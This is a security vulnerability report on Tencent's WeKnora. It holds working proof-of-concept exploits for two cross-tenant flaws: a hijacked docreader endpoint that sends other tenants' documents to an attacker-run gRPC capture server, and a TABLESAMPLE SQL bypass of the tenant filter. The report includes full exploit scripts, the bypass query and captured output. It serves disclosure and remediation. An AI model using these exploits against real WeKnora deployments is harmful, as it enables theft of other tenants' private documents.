# WeKnora Vulnerability Report Software: WeKnora Developer or vendor: Tencent Code repository: https://github.com/Tencent/WeKnora ## 1. Tenant Administrator Can Hijack the Global Document Parsing Service Brief description: A tenant administrator can point the process-wide DocReader connection at a server they control, causing documents uploaded by other tenants to be sent there. Affected versions: 0.3.2 to 0.9.0 Preconditions: The attacker holds the Owner or Admin role in a tenant. The default deployment allows public registration and creates a personal workspace with the registrant as Owner, so registering an account satisfies this condition. ### Root Cause `POST /api/v1/system/docreader/reconnect` only checks the caller's role in the current tenant: ```go // internal/router/routes_auth_tenant.go:282 commit f17ee8a8da systemRoutes.POST("/docreader/reconnect", g.Admin(), handler.ReconnectDocReader) ``` `g.Admin()` checks a tenant role, defined in `internal/router/rbac.go:204-205`: ```go // internal/router/rbac.go:204-205 commit f17ee8a8da func (g *rbacGuards) Admin() gin.HandlerFunc { return middleware.RequireRole(types.TenantRoleAdmin, g.cfg) } ``` `TenantRoleAdmin` is the minimum level in the role hierarchy. `HasPermission` compares levels, and Owner level 40 is higher than Admin level 30, so an Owner also passes this guard: ```go // internal/types/tenant_member.go:36-61 commit f17ee8a8da var tenantRoleLevel = map[TenantRole]int{ TenantRoleOwner: 40, TenantRoleAdmin: 30, TenantRoleContributor: 20, TenantRoleViewer: 10, } func (r TenantRole) HasPermission(required TenantRole) bool { return r.Level() >= required.Level() } ``` The handler performs one SSRF check on `addr` and then calls the global `documentReader`: ```go // internal/handler/system.go:460-511 commit f17ee8a8da func (h *SystemHandler) ReconnectDocReader(c *gin.Context) { var req struct { Addr string `json:"addr" binding:"required"` } if err := c.ShouldBindJSON(&req); err != nil { c.JSON(400, gin.H{"code": 1, "msg": "请提供 addr 参数"}) return } // ... addr := strings.TrimSpace(req.Addr) if err := secutils.ValidateURLForSSRF(addr); err != nil { c.JSON(400, gin.H{"code": 1, "msg": secutils.FormatSSRFError("DocReader 地址", addr, err)}) return } if err := h.documentReader.Reconnect(addr); err != nil { c.JSON(200, gin.H{"code": 1, "msg": fmt.Sprintf("连接失败: %v", err)}) return } _, docreaderTransport := h.getDocReaderConnInfo() c.JSON(200, gin.H{"code": 0, "msg": "连接成功", "docreader_addr": addr, "docreader_transport": docreaderTransport, "connected": true}) } ``` `initDocReaderClient` is registered once when the container starts. The knowledge processing service and the system handler receive the same `interfaces.DocumentReader` instance: ```go // internal/container/container.go:156 commit f17ee8a8da must(container.Provide(initDocReaderClient)) ``` `GRPCDocumentReader.Reconnect` writes the new address into the connection, and subsequent `Read` calls send document content to that address: ```go // internal/infrastructure/docparser/grpc_parser.go:85-96 commit f17ee8a8da func (p *GRPCDocumentReader) Reconnect(addr string) error { p.mu.Lock() defer p.mu.Unlock() if p.conn != nil { _ = p.conn.Close() p.conn = nil p.client = nil p.addr = "" } return p.connect(addr) } ``` ```go // internal/infrastructure/docparser/grpc_parser.go:140-152 commit f17ee8a8da protoReq := &proto.ReadRequest{ FileContent: req.FileContent, FileName: req.FileName, FileType: req.FileType, Url: req.URL, Title: req.Title, RequestId: req.RequestID, } ``` Authentication is granted per tenant, but the object being changed belongs to the whole process. After any tenant administrator calls the reconnect endpoint, documents from all tenants are sent to that address. ### Reproduction Environment Start v0.9.0 using the official quick start: ```bash git clone https://github.com/Tencent/WeKnora.git cd WeKnora cp .env.example .env sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env docker compose pull docker compose up -d curl http://localhost:8080/health ``` The frontend is at `http://localhost` and the backend is at `http://localhost:8080`. The reproduction uses the official `wechatopenai/weknora-app:v0.9.0` and `wechatopenai/weknora-docreader:v0.9.0` images. ### Reproduction The attacker starts a gRPC service on a public server. This report uses the domain `attacker.yulun.ac.cn`. The service implementation is as follows: ```python import logging from concurrent import futures import grpc from docreader.proto import docreader_pb2, docreader_pb2_grpc logging.basicConfig(level=logging.INFO) class Server(docreader_pb2_grpc.DocReaderServicer): def Read(self, request, context): data = request.file_content logging.info( "CAPTURED read file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r", request.file_name, request.file_type, len(data), dict(request.config.parser_engine_overrides), data[:64], ) with open("captured.bin", "wb") as handle: handle.write(data) return docreader_pb2.ReadResponse(markdown_content="# captured by attacker\n", metadata={"engine": "evil"}) def ReadStream(self, request, context): data = request.file_content logging.info( "CAPTURED stream file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r", request.file_name, request.file_type, len(data), dict(request.config.parser_engine_overrides), data[:64], ) with open("captured.bin", "wb") as handle: handle.write(data) yield docreader_pb2.ReadStreamResponse(meta=docreader_pb2.ReadStreamMeta( markdown_content="# captured by attacker\n", image_count=0)) def ListEngines(self, request, context): return docreader_pb2.ListEnginesResponse(engines=[ docreader_pb2.ParserEngineInfo(name="evil", description="evil", available=True) ]) def PreprocessImage(self, request, context): return docreader_pb2.PreprocessImageResponse() def GetInfo(self, request, context): return docreader_pb2.GetInfoResponse(version="evil", commit_id="evil") server = grpc.server(futures.ThreadPoolExecutor(max_workers=4)) docreader_pb2_grpc.add_DocReaderServicer_to_server(Server(), server) server.add_insecure_port("0.0.0.0:50051") server.start() logging.info("evil docreader listening on 50051") server.wait_for_termination() ``` On the attack server, save the service above as `evil_docreader.py` in the current directory, then run: ```bash mkdir -p docreader/proto wget -q -O docreader/proto/docreader_pb2.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2.py wget -q -O docreader/proto/docreader_pb2_grpc.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2_grpc.py touch docreader/__init__.py docreader/proto/__init__.py uv run --with grpcio --with protobuf python evil_docreader.py > evil.log 2>&1 & ``` In a browser, register the victim account `victim@report.local`, create the knowledge base `victim-kb`, upload a PDF, and wait for its status to become completed: ![Victim tenant's knowledge base](img/f1-victim-kb.png) Register the attacker account `attacker@report.local` and run the following script: ```python import httpx BASE = "http://127.0.0.1:8080" ATTACKER_ADDR = "attacker.yulun.ac.cn:50051" def post(path, body, token=None): headers = {"Authorization": "Bearer " + token} if token else {} return httpx.post(BASE + path, json=body, headers=headers) post("/api/v1/auth/register", { "username": "attacker", "email": "attacker@report.local", "password": "Attacker@123", }) token = post("/api/v1/auth/login", { "email": "attacker@report.local", "password": "Attacker@123", }).json()["token"] response = post("/api/v1/system/docreader/reconnect", { "addr": ATTACKER_ADDR, }, token) result = response.json() print(response.status_code) print({key: result[key] for key in ("code", "connected", "docreader_addr", "docreader_transport", "msg")}) ``` The script output is: ```text 200 {'code': 0, 'connected': True, 'docreader_addr': 'attacker.yulun.ac.cn:50051', 'docreader_transport': 'grpc', 'msg': '连接成功'} ``` The victim tenant then uploads a document, and the attacker service receives the original file: ```text INFO:root:CAPTURED stream file_name='text.pdf' file_type='pdf' bytes=90060 overrides={} content_prefix=b'%PDF-1.7\n%\xc3\xa4\xc3\xbc\xc3\xb6\xc3\x9f\n2 0 obj\n<>\n' ``` On the attack server, compute the hash of the captured file and compare it with the PDF uploaded by the victim tenant: ```text 7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7 captured.bin 7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7 text.pdf ``` The app log shows that the parsed content for the victim tenant has been replaced by the Markdown returned by the attacker: ```text [DocReader] Chunk #0 内容预览: # captured by attacker ``` ## 2. Database Query Tool Bypasses Tenant Isolation Brief description: The SQL rewrite in the `database_query` tool handles only ordinary table references and JOINs. An attacker can place a table in a TABLESAMPLE clause and use another ordinary table to pass validation, thereby reading chunks from other tenants. Affected versions: 0.2.11 to 0.9.0 Preconditions: The attacker holds the Owner or Admin role in a tenant and can configure a model and add `database_query` to a custom agent. ### Root Cause Before executing SQL, `database_query` calls `ValidateAndSecureSQL`. The function parses the statement with `pg_query` and rewrites the FROM clause: ```go // internal/agent/tools/database_query.go:252-277 commit f17ee8a8da func (t *DatabaseQueryTool) validateAndSecureSQL(sqlQuery string, tenantID uint64) (string, error) { searchScopes := searchScopesFromTargets(t.searchTargets) if len(searchScopes) == 0 { return "", fmt.Errorf("no effective Agent knowledge scope is available") } securedSQL, validationResult, err := utils.ValidateAndSecureSQL( sqlQuery, utils.WithSecurityDefaults(tenantID), utils.WithSoftDeleteFilter("knowledge_bases", "knowledges", "chunks"), utils.WithHiddenKBFilter(), utils.WithChunkEnabledFilter(), utils.WithInjectionRiskCheck(), utils.WithSearchScopes(searchScopes), ) if err != nil { return "", err } if !validationResult.Valid { var errMsgs []string for _, valErr := range validationResult.Errors { errMsgs = append(errMsgs, fmt.Sprintf("%s: %s", valErr.Type, valErr.Message)) } return "", fmt.Errorf("validation failed: %s", strings.Join(errMsgs, "; ")) } return securedSQL, nil } ``` The rewrite function recognizes only `RangeVar` and `JoinExpr`. Other FROM nodes return nil: ```go // internal/utils/inject.go:937-975 commit f17ee8a8da injectFrom = func(node *pg_query.Node) error { if rv := node.GetRangeVar(); rv != nil { alias := rv.Relname if rv.Alias != nil { alias = rv.Alias.Aliasname } tables := map[string]string{strings.ToLower(rv.Relname): quoteSQLIdentifier(alias)} fragment := "SELECT 1" fragment = validator.injectTenantConditions(fragment, tables) fragment = validator.injectSoftDeleteConditions(fragment, tables) fragment = validator.injectHiddenKBFilter(fragment, tables) fragment = validator.injectChunkEnabledFilter(fragment, tables) fragment = validator.injectSearchScopeConditions(fragment, tables) filters, err := pg_query.Parse(fragment) if err != nil { return fmt.Errorf("failed to build SQL security filter: %w", err) } addSQLPredicate(stmt, filters.Stmts[0].Stmt.GetSelectStmt().WhereClause) } if join := node.GetJoinExpr(); join != nil { if err := injectFrom(join.Larg); err != nil { return err } return injectFrom(join.Rarg) } return nil } ``` The validation function likewise handles only `RangeVar`, `JoinExpr`, `RangeSubselect`, and `RangeFunction`, and returns nil at the end: ```go // internal/utils/inject.go:1508-1568 commit f17ee8a8da func (v *sqlValidator) validateFromItem(node *pg_query.Node, tables map[string]string, result *SQLValidationResult) error { if node == nil { return nil } if rv := node.GetRangeVar(); rv != nil { tableName := strings.ToLower(rv.Relname) // ... alias := tableName if rv.Alias != nil && rv.Alias.Aliasname != "" { alias = strings.ToLower(rv.Alias.Aliasname) } tables[tableName] = alias return nil } if je := node.GetJoinExpr(); je != nil { if err := v.validateFromItem(je.Larg, tables, result); err != nil { return err } if err := v.validateFromItem(je.Rarg, tables, result); err != nil { return err } if je.Quals != nil { if err := v.validateNode(je.Quals, result); err != nil { return err } } return nil } if rss := node.GetRangeSubselect(); rss != nil { if v.checkSubqueries { return fmt.Errorf("subqueries in FROM clause are not allowed") } return v.validateSubquery(rss.Subquery, tables, result) } if node.GetRangeFunction() != nil { return fmt.Errorf("functions in FROM clause are not allowed") } return nil } ``` The `RangeTableSample` node has no corresponding branch, so both validation and rewriting skip it. The attacker uses an ordinary table to satisfy the check that at least one valid table exists and places the table to be read in `TABLESAMPLE`: ```sql SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50 ``` The rewritten SQL adds a tenant condition only to `b`; `c` has no condition: ```sql SELECT c.content FROM chunks c TABLESAMPLE bernoulli(100), knowledge_bases b WHERE b.tenant_id = 10001 LIMIT 50 ``` ### Reproduction Environment After clearing the environment, restart v0.9.0 using the official quick start: ```bash cd WeKnora docker compose down -v cp .env.example .env sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env docker compose pull docker compose up -d curl http://localhost:8080/health ``` ### Reproduction On `attacker.yulun.ac.cn:8000`, the attacker runs an OpenAI-compatible service that returns a `database_query` tool call for `chat/completions`. The minimal service is as follows: ```python from http.server import BaseHTTPRequestHandler, HTTPServer import json import re SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50" DIM = 1024 class Handler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.endswith("/models"): self.send_response(404) self.end_headers() return body = json.dumps({"object": "list", "data": [{"id": "fake-1", "object": "model"}]}).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def do_POST(self): if not (self.path.endswith("/chat/completions") or self.path.endswith("/embeddings")): self.send_response(404) self.end_headers() return length = int(self.headers.get("Content-Length", 0)) request = json.loads(self.rfile.read(length) or b"{}") if self.path.endswith("/embeddings"): inputs = request.get("input") or [] if isinstance(inputs, str): inputs = [inputs] body = json.dumps({ "object": "list", "data": [{"object": "embedding", "index": i, "embedding": [0.01] * DIM} for i in range(len(inputs))], "model": request.get("model", "fake-embed"), }).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) return messages = request.get("messages") or [] text = "".join(str(message.get("content") or "") for message in messages) has_tool_result = any(message.get("role") == "tool" for message in messages) match = None if has_tool_result else re.search(r"SQLQUERY:(.+)$", text, re.S) tool_call = None if match: tool_call = { "index": 0, "id": "call_sql", "type": "function", "function": {"name": "database_query", "arguments": json.dumps({"sql": match.group(1).strip()})}, } stream = request.get("stream", False) content = None if tool_call else "FAKE_OK" if stream: delta = {"role": "assistant", "content": content} if tool_call: delta["tool_calls"] = [tool_call] first = { "id": "chatcmpl-1", "object": "chat.completion.chunk", "created": 1, "model": "fake", "choices": [{"index": 0, "delta": delta, "finish_reason": None}], } last = { "id": "chatcmpl-1", "object": "chat.completion.chunk", "created": 1, "model": "fake", "choices": [{"index": 0, "delta": {}, "finish_reason": "tool_calls" if tool_call else "stop"}], } body = ("data: " + json.dumps(first) + "\n\ndata: " + json.dumps(last) + "\n\ndata: [DONE]\n\n").encode() self.send_response(200) self.send_header("Content-Type", "text/event-stream") else: message = {"role": "assistant", "content": content} if tool_call: message["tool_calls"] = [tool_call] body = json.dumps({ "id": "chatcmpl-1", "object": "chat.completion", "created": 1, "model": "fake", "choices": [{"index": 0, "message": message, "finish_reason": "tool_calls" if tool_call else "stop"}], }).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) HTTPServer(("0.0.0.0", 8000), Handler).serve_forever() ``` On the attack server, save the service above as `fake_llm.py` in the current directory, then run: ```bash python3 fake_llm.py > fake_llm.log 2>&1 & ``` After registering, the victim tenant creates a knowledge base, points its embedding model at `http://attacker.yulun.ac.cn:8000/v1`, sets the dimension to 1024, and uploads `secret.md` with the content `VICTIM_SECRET_CHUNK_CONTENT_98765`: ![Victim tenant's knowledge base](img/f2-victim-kb.png) Register the attacker account `attacker@report.local` and run the following script to create a model, knowledge base, agent, and session, then send the SQL query: ```python import httpx BASE = "http://127.0.0.1:8080" ATTACKER_DOMAIN = "attacker.yulun.ac.cn" SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50" def post(path, body, token=None): headers = {"Authorization": "Bearer " + token} if token else {} return httpx.post(BASE + path, json=body, headers=headers) post("/api/v1/auth/register", { "username": "attacker", "email": "attacker@report.local", "password": "Attacker@123", }) token = post("/api/v1/auth/login", { "email": "attacker@report.local", "password": "Attacker@123", }).json()["token"] model = post("/api/v1/models", { "name": "fake-chat", "type": "KnowledgeQA", "source": "remote", "parameters": { "base_url": f"http://{ATTACKER_DOMAIN}:8000/v1", "api_key": "sk-fake", "interface_type": "openai", }, }, token).json()["data"] kb = post("/api/v1/knowledge-bases", { "name": "attacker-kb", "description": "x", "type": "document", }, token).json()["data"] agent = post("/api/v1/agents", { "name": "sql-agent", "description": "x", "config": { "agent_mode": "smart-reasoning", "agent_type": "custom", "model_id": model["id"], "allowed_tools": ["database_query", "thinking", "todo_write"], "kb_selection_mode": "selected", "knowledge_bases": [kb["id"]], "mcp_selection_mode": "none", "skills_selection_mode": "none", }, }, token).json()["data"] session = post("/api/v1/sessions", {"title": "sql"}, token).json()["data"] response = post("/api/v1/agent-chat/" + session["id"], { "query": "SQLQUERY:" + SQL, "agent_enabled": True, "agent_id": agent["id"], "knowledge_base_ids": [kb["id"]], "channel": "web", "disable_title": True, }, token) print(response.status_code) print(response.text) ``` The tool result printed by the script contains the victim tenant's chunk: ```text 200 data:{"id":"d73b155e-2514-418e-824b-fba455cd9666","response_type":"tool_result","content":"Tool completed (database_query; payload omitted from history)","done":false,"data":{"columns":["content"],"display_type":"database_query","duration_ms":164,"error":"","row_count":1,"rows":[{"content":"VICTIM_SECRET_CHUNK_CONTENT_98765\n"}],"success":true,"tool_call_id":"call_sql","tool_name":"database_query"}} ``` The victim tenant's own chunk list confirms that the content belongs to tenant 10000: ```text knowledge 6103813e-0ace-41ec-b077-a3f3da11bc26 status completed VICTIM_SECRET_CHUNK_CONTENT_98765 ```